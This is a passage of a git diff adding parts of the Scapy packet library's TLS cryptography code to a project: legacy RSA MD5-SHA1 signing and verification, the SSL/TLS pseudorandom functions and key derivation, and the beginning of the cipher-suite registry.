verify(self, M, S, t="pkcs", h="sha256", mgf=None, L=None): + M = bytes_encode(M) + mgf = mgf or padding.MGF1 + h = _get_hash(h) + pad = _get_padding(t, mgf, h, L) + try: + try: + self.pubkey.verify(S, M, pad, h) + except UnsupportedAlgorithm: + if t != "pkcs" and h != "md5-sha1": + raise UnsupportedAlgorithm("RSA verification with %s" % h) + self._legacy_verify_md5_sha1(M, S) + return True + except InvalidSignature: + return False + + def _legacy_verify_md5_sha1(self, M, S): + k = self._modulusLen // 8 + if len(S) != k: + warning("invalid signature (len(S) != k)") + return False + s = pkcs_os2ip(S) + n = self._modulus + if isinstance(s, int) and six.PY2: + s = long(s) # noqa: F821 + if (six.PY2 and not isinstance(s, long)) or s > n - 1: # noqa: F821 + warning("Key._rsaep() expects a long between 0 and n-1") + return None + m = pow(s, self._pubExp, n) + EM = pkcs_i2osp(m, k) + EMPrime = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) + if EMPrime is None: + warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.") + return False + return EM == EMPrime + + +class _DecryptAndSignRSA(object): + + @crypto_validator + def decrypt(self, C, t="pkcs", h="sha256", mgf=None, L=None): + mgf = mgf or padding.MGF1 + h = _get_hash(h) + pad = _get_padding(t, mgf, h, L) + return self.key.decrypt(C, pad) + + @crypto_validator + def sign(self, M, t="pkcs", h="sha256", mgf=None, L=None): + M = bytes_encode(M) + mgf = mgf or padding.MGF1 + h = _get_hash(h) + pad = _get_padding(t, mgf, h, L) + try: + return self.key.sign(M, pad, h) + except UnsupportedAlgorithm: + if t != "pkcs" and h != "md5-sha1": + raise UnsupportedAlgorithm("RSA signature with %s" % h) + return self._legacy_sign_md5_sha1(M) + + def _legacy_sign_md5_sha1(self, M): + M = bytes_encode(M) + k = self._modulusLen // 8 + EM = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) + if EM is None: + warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") + return None + m = pkcs_os2ip(EM) + n = self._modulus + if isinstance(m, int) and six.PY2: + m = long(m) # noqa: F821 + if (six.PY2 and not isinstance(m, long)) or m > n - 1: # noqa: F821 + warning("Key._rsaep() expects a long between 0 and n-1") + return None + privExp = self.key.private_numbers().d + s = pow(m, privExp, n) + return pkcs_i2osp(s, k) diff --git a/libs/scapy/layers/tls/crypto/prf.py b/libs/scapy/layers/tls/crypto/prf.py new file mode 100755 index 0000000..3e1c33a --- /dev/null +++ b/libs/scapy/layers/tls/crypto/prf.py @@ -0,0 +1,354 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS Pseudorandom Function. +""" + +from __future__ import absolute_import +from scapy.error import warning +from scapy.utils import strxor + +from scapy.layers.tls.crypto.hash import _tls_hash_algs +from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs +from scapy.modules.six.moves import range +from scapy.compat import bytes_encode + + +# Data expansion functions + +def _tls_P_hash(secret, seed, req_len, hm): + """ + Provides the implementation of P_hash function defined in + section 5 of RFC 4346 (and section 5 of RFC 5246). Two + parameters have been added (hm and req_len): + + - secret : the key to be used. If RFC 4868 is to be believed, + the length must match hm.key_len. Actually, + python hmac takes care of formatting every key. + - seed : the seed to be used. + - req_len : the length of data to be generated by iterating + the specific HMAC function (hm). This prevents + multiple calls to the function. + - hm : the hmac function class to use for iteration (either + Hmac_MD5 or Hmac_SHA1 in TLS <= 1.1 or + Hmac_SHA256 or Hmac_SHA384 in TLS 1.2) + """ + hash_len = hm.hash_alg.hash_len + n = (req_len + hash_len - 1) // hash_len + seed = bytes_encode(seed) + + res = b"" + a = hm(secret).digest(seed) # A(1) + + while n > 0: + res += hm(secret).digest(a + seed) + a = hm(secret).digest(a) + n -= 1 + + return res[:req_len] + + +def _tls_P_MD5(secret, seed, req_len): + return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-MD5"]) + + +def _tls_P_SHA1(secret, seed, req_len): + return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA"]) + + +def _tls_P_SHA256(secret, seed, req_len): + return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA256"]) + + +def _tls_P_SHA384(secret, seed, req_len): + return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA384"]) + + +def _tls_P_SHA512(secret, seed, req_len): + return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA512"]) + + +# PRF functions, according to the protocol version + +def _sslv2_PRF(secret, seed, req_len): + hash_md5 = _tls_hash_algs["MD5"]() + rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len + + res = b"" + if rounds == 1: + res += hash_md5.digest(secret + seed) + else: + r = 0 + while r < rounds: + label = str(r).encode("utf8") + res += hash_md5.digest(secret + label + seed) + r += 1 + + return res[:req_len] + + +def _ssl_PRF(secret, seed, req_len): + """ + Provides the implementation of SSLv3 PRF function: + + SSLv3-PRF(secret, seed) = + MD5(secret || SHA-1("A" || secret || seed)) || + MD5(secret || SHA-1("BB" || secret || seed)) || + MD5(secret || SHA-1("CCC" || secret || seed)) || ... + + req_len should not be more than 26 x 16 = 416. + """ + if req_len > 416: + warning("_ssl_PRF() is not expected to provide more than 416 bytes") + return "" + + d = [b"A", b"B", b"C", b"D", b"E", b"F", b"G", b"H", b"I", b"J", b"K", b"L", # noqa: E501 + b"M", b"N", b"O", b"P", b"Q", b"R", b"S", b"T", b"U", b"V", b"W", b"X", # noqa: E501 + b"Y", b"Z"] + res = b"" + hash_sha1 = _tls_hash_algs["SHA"]() + hash_md5 = _tls_hash_algs["MD5"]() + rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len + + for i in range(rounds): + label = d[i] * (i + 1) + tmp = hash_sha1.digest(label + secret + seed) + res += hash_md5.digest(secret + tmp) + + return res[:req_len] + + +def _tls_PRF(secret, label, seed, req_len): + """ + Provides the implementation of TLS PRF function as defined in + section 5 of RFC 4346: + + PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR + P_SHA-1(S2, label + seed) + + Parameters are: + + - secret: the secret used by the HMAC in the 2 expansion + functions (S1 and S2 are the halves of this secret). + - label: specific label as defined in various sections of the RFC + depending on the use of the generated PRF keystream + - seed: the seed used by the expansion functions. + - req_len: amount of keystream to be generated + """ + tmp_len = (len(secret) + 1) // 2 + S1 = secret[:tmp_len] + S2 = secret[-tmp_len:] + + a1 = _tls_P_MD5(S1, label + seed, req_len) + a2 = _tls_P_SHA1(S2, label + seed, req_len) + + return strxor(a1, a2) + + +def _tls12_SHA256PRF(secret, label, seed, req_len): + """ + Provides the implementation of TLS 1.2 PRF function as + defined in section 5 of RFC 5246: + + PRF(secret, label, seed) = P_SHA256(secret, label + seed) + + Parameters are: + + - secret: the secret used by the HMAC in the 2 expansion + functions (S1 and S2 are the halves of this secret). + - label: specific label as defined in various sections of the RFC + depending on the use of the generated PRF keystream + - seed: the seed used by the expansion functions. + - req_len: amount of keystream to be generated + """ + return _tls_P_SHA256(secret, label + seed, req_len) + + +def _tls12_SHA384PRF(secret, label, seed, req_len): + return _tls_P_SHA384(secret, label + seed, req_len) + + +def _tls12_SHA512PRF(secret, label, seed, req_len): + return _tls_P_SHA512(secret, label + seed, req_len) + + +class PRF(object): + """ + The PRF used by SSL/TLS varies based on the version of the protocol and + (for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite. + The various uses of the PRF (key derivation, computation of verify_data, + computation of pre_master_secret values) for the different versions of the + protocol also changes. In order to abstract those elements, the common + _tls_PRF() object is provided. It is expected to be initialised in the + context of the connection state using the tls_version and the cipher suite. + """ + + def __init__(self, hash_name="SHA256", tls_version=0x0303): + self.tls_version = tls_version + self.hash_name = hash_name + + if tls_version < 0x0300: # SSLv2 + self.prf = _sslv2_PRF + elif tls_version == 0x0300: # SSLv3 + self.prf = _ssl_PRF + elif (tls_version == 0x0301 or # TLS 1.0 + tls_version == 0x0302): # TLS 1.1 + self.prf = _tls_PRF + elif tls_version == 0x0303: # TLS 1.2 + if hash_name == "SHA384": + self.prf = _tls12_SHA384PRF + elif hash_name == "SHA512": + self.prf = _tls12_SHA512PRF + else: + self.prf = _tls12_SHA256PRF + else: + warning("Unknown TLS version") + + def compute_master_secret(self, pre_master_secret, + client_random, server_random): + """ + Return the 48-byte master_secret, computed from pre_master_secret, + client_random and server_random. See RFC 5246, section 6.3. + """ + seed = client_random + server_random + if self.tls_version < 0x0300: + return None + elif self.tls_version == 0x0300: + return self.prf(pre_master_secret, seed, 48) + else: + return self.prf(pre_master_secret, b"master secret", seed, 48) + + def derive_key_block(self, master_secret, server_random, + client_random, req_len): + """ + Perform the derivation of master_secret into a key_block of req_len + requested length. See RFC 5246, section 6.3. + """ + seed = server_random + client_random + if self.tls_version <= 0x0300: + return self.prf(master_secret, seed, req_len) + else: + return self.prf(master_secret, b"key expansion", seed, req_len) + + def compute_verify_data(self, con_end, read_or_write, + handshake_msg, master_secret): + """ + Return verify_data based on handshake messages, connection end, + master secret, and read_or_write position. See RFC 5246, section 7.4.9. + + Every TLS 1.2 cipher suite has a verify_data of length 12. Note also:: + + "This PRF with the SHA-256 hash function is used for all cipher + suites defined in this document and in TLS documents published + prior to this document when TLS 1.2 is negotiated." + + Cipher suites using SHA-384 were defined later on. + """ + if self.tls_version < 0x0300: + return None + elif self.tls_version == 0x0300: + + if read_or_write == "write": + d = {"client": b"CLNT", "server": b"SRVR"} + else: + d = {"client": b"SRVR", "server": b"CLNT"} + label = d[con_end] + + sslv3_md5_pad1 = b"\x36" * 48 + sslv3_md5_pad2 = b"\x5c" * 48 + sslv3_sha1_pad1 = b"\x36" * 40 + sslv3_sha1_pad2 = b"\x5c" * 40 + + md5 = _tls_hash_algs["MD5"]() + sha1 = _tls_hash_algs["SHA"]() + + md5_hash = md5.digest(master_secret + sslv3_md5_pad2 + + md5.digest(handshake_msg + label + + master_secret + sslv3_md5_pad1)) + sha1_hash = sha1.digest(master_secret + sslv3_sha1_pad2 + + sha1.digest(handshake_msg + label + + master_secret + sslv3_sha1_pad1)) # noqa: E501 + verify_data = md5_hash + sha1_hash + + else: + + if read_or_write == "write": + d = {"client": "client", "server": "server"} + else: + d = {"client": "server", "server": "client"} + label = ("%s finished" % d[con_end]).encode() + + if self.tls_version <= 0x0302: + s1 = _tls_hash_algs["MD5"]().digest(handshake_msg) + s2 = _tls_hash_algs["SHA"]().digest(handshake_msg) + verify_data = self.prf(master_secret, label, s1 + s2, 12) + else: + if self.hash_name in ["MD5", "SHA"]: + h = _tls_hash_algs["SHA256"]() + else: + h = _tls_hash_algs[self.hash_name]() + s = h.digest(handshake_msg) + verify_data = self.prf(master_secret, label, s, 12) + + return verify_data + + def postprocess_key_for_export(self, key, client_random, server_random, + con_end, read_or_write, req_len): + """ + Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it. + An export key generation example is given in section 6.3.1 of RFC 2246. + See also page 86 of EKR's book. + """ + s = con_end + read_or_write + s = (s == "clientwrite" or s == "serverread") + + if self.tls_version < 0x0300: + return None + elif self.tls_version == 0x0300: + if s: + tbh = key + client_random + server_random + else: + tbh = key + server_random + client_random + export_key = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] + else: + if s: + tag = b"client write key" + else: + tag = b"server write key" + export_key = self.prf(key, + tag, + client_random + server_random, + req_len) + return export_key + + def generate_iv_for_export(self, client_random, server_random, + con_end, read_or_write, req_len): + """ + Generate IV for EXPORT ciphersuite, i.e. weakens it. + An export IV generation example is given in section 6.3.1 of RFC 2246. + See also page 86 of EKR's book. + """ + s = con_end + read_or_write + s = (s == "clientwrite" or s == "serverread") + + if self.tls_version < 0x0300: + return None + elif self.tls_version == 0x0300: + if s: + tbh = client_random + server_random + else: + tbh = server_random + client_random + iv = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] + else: + iv_block = self.prf("", + b"IV block", + client_random + server_random, + 2 * req_len) + if s: + iv = iv_block[:req_len] + else: + iv = iv_block[req_len:] + return iv diff --git a/libs/scapy/layers/tls/crypto/suites.py b/libs/scapy/layers/tls/crypto/suites.py new file mode 100755 index 0000000..20db6b4 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/suites.py @@ -0,0 +1,1319 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS cipher suites. + +A comprehensive list of specified cipher suites can be consulted at: +https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml +""" + +from __future__ import absolute_import +from scapy.layers.tls.crypto.kx_algs import _tls_kx_algs +from scapy.layers.tls.crypto.hash import _tls_hash_algs +from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs +from scapy.layers.tls.crypto.ciphers import _tls_cipher_algs +import scapy.modules.six as six + + +def get_algs_from_ciphersuite_name(ciphersuite_name): + """ + Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher + class and the HMAC class, through the parsing of the ciphersuite name. + """ + tls1_3 = False + if ciphersuite_name.startswith("TLS"): + s = ciphersuite_name[4:] + + if s.endswith("CCM") or s.endswith("CCM_8"): + kx_name, s = s.split("_WITH_") + kx_alg = _tls_kx_algs.get(kx_name) + hash_alg = _tls_hash_algs.get("SHA256") + cipher_alg = _tls_cipher_algs.get(s) + hmac_alg = None + + else: + if "WITH" in s: + kx_name, s = s.split("_WITH_") + kx_alg = _tls_kx_algs.get(kx_name) + else: + tls1_3 = True + kx_alg = _tls_kx_algs.get("TLS13") + + hash_name = s.split('_')[-1] + hash_alg = _tls_hash_algs.get(hash_name) + + cipher_name = s[:-(len(hash_name) + 1)] + if tls1_3: + cipher_name += "_TLS13" + cipher_alg = _tls_cipher_algs.get(cipher_name) + + hmac_alg = None + if cipher_alg is not None and cipher_alg.type != "aead": + hmac_name = "HMAC-%s" % hash_name + hmac_alg = _tls_hmac_algs.get(hmac_name) + + elif ciphersuite_name.startswith("SSL"): + s = ciphersuite_name[7:] + kx_alg = _tls_kx_algs.get("SSLv2") + cipher_name, hash_name = s.split("_WITH_") + cipher_alg = _tls_cipher_algs.get(cipher_name.rstrip("_EXPORT40")) + kx_alg.export = cipher_name.endswith("_EXPORT40") + hmac_alg = _tls_hmac_algs.get("HMAC-NULL") + hash_alg = _tls_hash_algs.get(hash_name) + + return kx_alg, cipher_alg, hmac_alg, hash_alg, tls1_3 + + +_tls_cipher_suites = {} +_tls_cipher_suites_cls = {} + + +class _GenericCipherSuiteMetaclass(type): + """ + Cipher suite classes are automatically registered through this metaclass. + Their name attribute equates their respective class name. + + We also pre-compute every expected length of the key block to be generated, + which may vary according to the current tls_version. The default is set to + the TLS 1.2 length, and the value should be set at class instantiation. + + Regarding the AEAD cipher suites, note that the 'hmac_alg' attribute will + be set to None. Yet, we always need a 'hash_alg' for the PRF. + """ + def __new__(cls, cs_name, bases, dct): + cs_val = dct.get("val") + + if cs_name != "_GenericCipherSuite": + kx, c, hm, h, tls1_3 = get_algs_from_ciphersuite_name(cs_name) + + if c is None or h is None or (kx is None and not tls1_3): + dct["usable"] = False + else: + dct["usable"] = True + dct["name"] = cs_name + dct["kx_alg"] = kx + dct["cipher_alg"] = c + dct["hmac_alg"] = hm + dct["hash_alg"] = h + + if not tls1_3: + kb_len = 2 * c.key_len + + if c.type == "stream" or c.type == "block": + kb_len += 2 * hm.key_len + + kb_len_v1_0 = kb_len + if c.type == "block": + kb_len_v1_0 += 2 * c.block_size + # no explicit IVs added for TLS 1.1+ + elif c.type == "aead": + kb_len_v1_0 += 2 * c.fixed_iv_len + kb_len += 2 * c.fixed_iv_len + + dct["_key_block_len_v1_0"] = kb_len_v1_0 + dct["key_block_len"] = kb_len + + _tls_cipher_suites[cs_val] = cs_name + the_class = super(_GenericCipherSuiteMetaclass, cls).__new__(cls, + cs_name, + bases, + dct) + if cs_name != "_GenericCipherSuite": + _tls_cipher_suites_cls[cs_val] = the_class + return the_class + + +class _GenericCipherSuite(six.with_metaclass(_GenericCipherSuiteMetaclass, object)): # noqa: E501 + def __init__(self, tls_version=0x0303): + """ + Most of the attributes are fixed and have already been set by the + metaclass, but we still have to provide tls_version differentiation. + + For now, the key_block_len remains the only application if this. + Indeed for TLS 1.1+, when using a block cipher, there are no implicit + IVs derived from the master secret. Note that an overlong key_block_len + would not affect the secret generation (the trailing bytes would + simply be discarded), but we still provide this for completeness. + """ + super(_GenericCipherSuite, self).__init__() + if tls_version <= 0x301: + self.key_block_len = self._key_block_len_v1_0 + + +class TLS_NULL_WITH_NULL_NULL(_GenericCipherSuite): + val = 0x0000 + + +class TLS_RSA_WITH_NULL_MD5(_GenericCipherSuite): + val = 0x0001 + + +class TLS_RSA_WITH_NULL_SHA(_GenericCipherSuite): + val = 0x0002 + + +class TLS_RSA_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): + val = 0x0003 + + +class TLS_RSA_WITH_RC4_128_MD5(_GenericCipherSuite): + val = 0x0004 + + +class TLS_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0x0005 + + +class TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): + val = 0x0006 + + +class TLS_RSA_WITH_IDEA_CBC_SHA(_GenericCipherSuite): + val = 0x0007 + + +class TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x0008 + + +class TLS_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x0009 + + +class TLS_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x000A + + +class TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x000B + + +class TLS_DH_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x000C + + +class TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x000D + + +class TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x000E + + +class TLS_DH_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x000F + + +class TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x0010 + + +class TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x0011 + + +class TLS_DHE_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x0012 + + +class TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x0013 + + +class TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x0014 + + +class TLS_DHE_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x0015 + + +class TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x0016 + + +class TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): + val = 0x0017 + + +class TLS_DH_anon_WITH_RC4_128_MD5(_GenericCipherSuite): + val = 0x0018 + + +class TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x0019 + + +class TLS_DH_anon_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x001A + + +class TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x001B + + +class TLS_KRB5_WITH_DES_CBC_SHA(_GenericCipherSuite): + val = 0x001E + + +class TLS_KRB5_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x001F + + +class TLS_KRB5_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0x0020 + + +class TLS_KRB5_WITH_IDEA_CBC_SHA(_GenericCipherSuite): + val = 0x0021 + + +class TLS_KRB5_WITH_DES_CBC_MD5(_GenericCipherSuite): + val = 0x0022 + + +class TLS_KRB5_WITH_3DES_EDE_CBC_MD5(_GenericCipherSuite): + val = 0x0023 + + +class TLS_KRB5_WITH_RC4_128_MD5(_GenericCipherSuite): + val = 0x0024 + + +class TLS_KRB5_WITH_IDEA_CBC_MD5(_GenericCipherSuite): + val = 0x0025 + + +class TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): + val = 0x0026 + + +class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(_GenericCipherSuite): + val = 0x0027 + + +class TLS_KRB5_EXPORT_WITH_RC4_40_SHA(_GenericCipherSuite): + val = 0x0028 + + +class TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(_GenericCipherSuite): + val = 0x0029 + + +class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): + val = 0x002A + + +class TLS_KRB5_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): + val = 0x002B + + +class TLS_PSK_WITH_NULL_SHA(_GenericCipherSuite): + val = 0x002C + + +class TLS_DHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): + val = 0x002D + + +class TLS_RSA_PSK_WITH_NULL_SHA(_GenericCipherSuite): + val = 0x002E + + +class TLS_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x002F + + +class TLS_DH_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0030 + + +class TLS_DH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0031 + + +class TLS_DHE_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0032 + + +class TLS_DHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0033 + + +class TLS_DH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0034 + + +class TLS_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0035 + + +class TLS_DH_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0036 + + +class TLS_DH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0037 + + +class TLS_DHE_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0038 + + +class TLS_DHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0039 + + +class TLS_DH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x003A + + +class TLS_RSA_WITH_NULL_SHA256(_GenericCipherSuite): + val = 0x003B + + +class TLS_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x003C + + +class TLS_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x003D + + +class TLS_DH_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x003E + + +class TLS_DH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x003F + + +class TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x0040 + + +class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0041 + + +class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0042 + + +class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0043 + + +class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0044 + + +class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0045 + + +class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): + val = 0x0046 + + +class TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x0067 + + +class TLS_DH_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x0068 + + +class TLS_DH_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x0069 + + +class TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x006A + + +class TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x006B + + +class TLS_DH_anon_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x006C + + +class TLS_DH_anon_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): + val = 0x006D + + +class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0084 + + +class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0085 + + +class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0086 + + +class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0087 + + +class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0088 + + +class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): + val = 0x0089 + + +class TLS_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0x008A + + +class TLS_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x008B + + +class TLS_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x008C + + +class TLS_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x008D + + +class TLS_DHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0x008E + + +class TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x008F + + +class TLS_DHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0090 + + +class TLS_DHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0091 + + +class TLS_RSA_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0x0092 + + +class TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0x0093 + + +class TLS_RSA_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0x0094 + + +class TLS_RSA_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0x0095 + + +class TLS_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x0096 + + +class TLS_DH_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x0097 + + +class TLS_DH_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x0098 + + +class TLS_DHE_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x0099 + + +class TLS_DHE_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x009A + + +class TLS_DH_anon_WITH_SEED_CBC_SHA(_GenericCipherSuite): + val = 0x009B + + +class TLS_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x009C + + +class TLS_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x009D + + +class TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x009E + + +class TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x009F + + +class TLS_DH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00A0 + + +class TLS_DH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00A1 + + +class TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00A2 + + +class TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00A3 + + +class TLS_DH_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00A4 + + +class TLS_DH_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00A5 + + +class TLS_DH_anon_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00A6 + + +class TLS_DH_anon_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00A7 + + +class TLS_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00A8 + + +class TLS_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00A9 + + +class TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00AA + + +class TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00AB + + +class TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x00AC + + +class TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x00AD + + +class TLS_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00AE + + +class TLS_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0x00AF + + +class TLS_PSK_WITH_NULL_SHA256(_GenericCipherSuite): + val = 0x00B0 + + +class TLS_PSK_WITH_NULL_SHA384(_GenericCipherSuite): + val = 0x00B1 + + +class TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00B2 + + +class TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0x00B3 + + +class TLS_DHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): + val = 0x00B4 + + +class TLS_DHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): + val = 0x00B5 + + +class TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00B6 + + +class TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 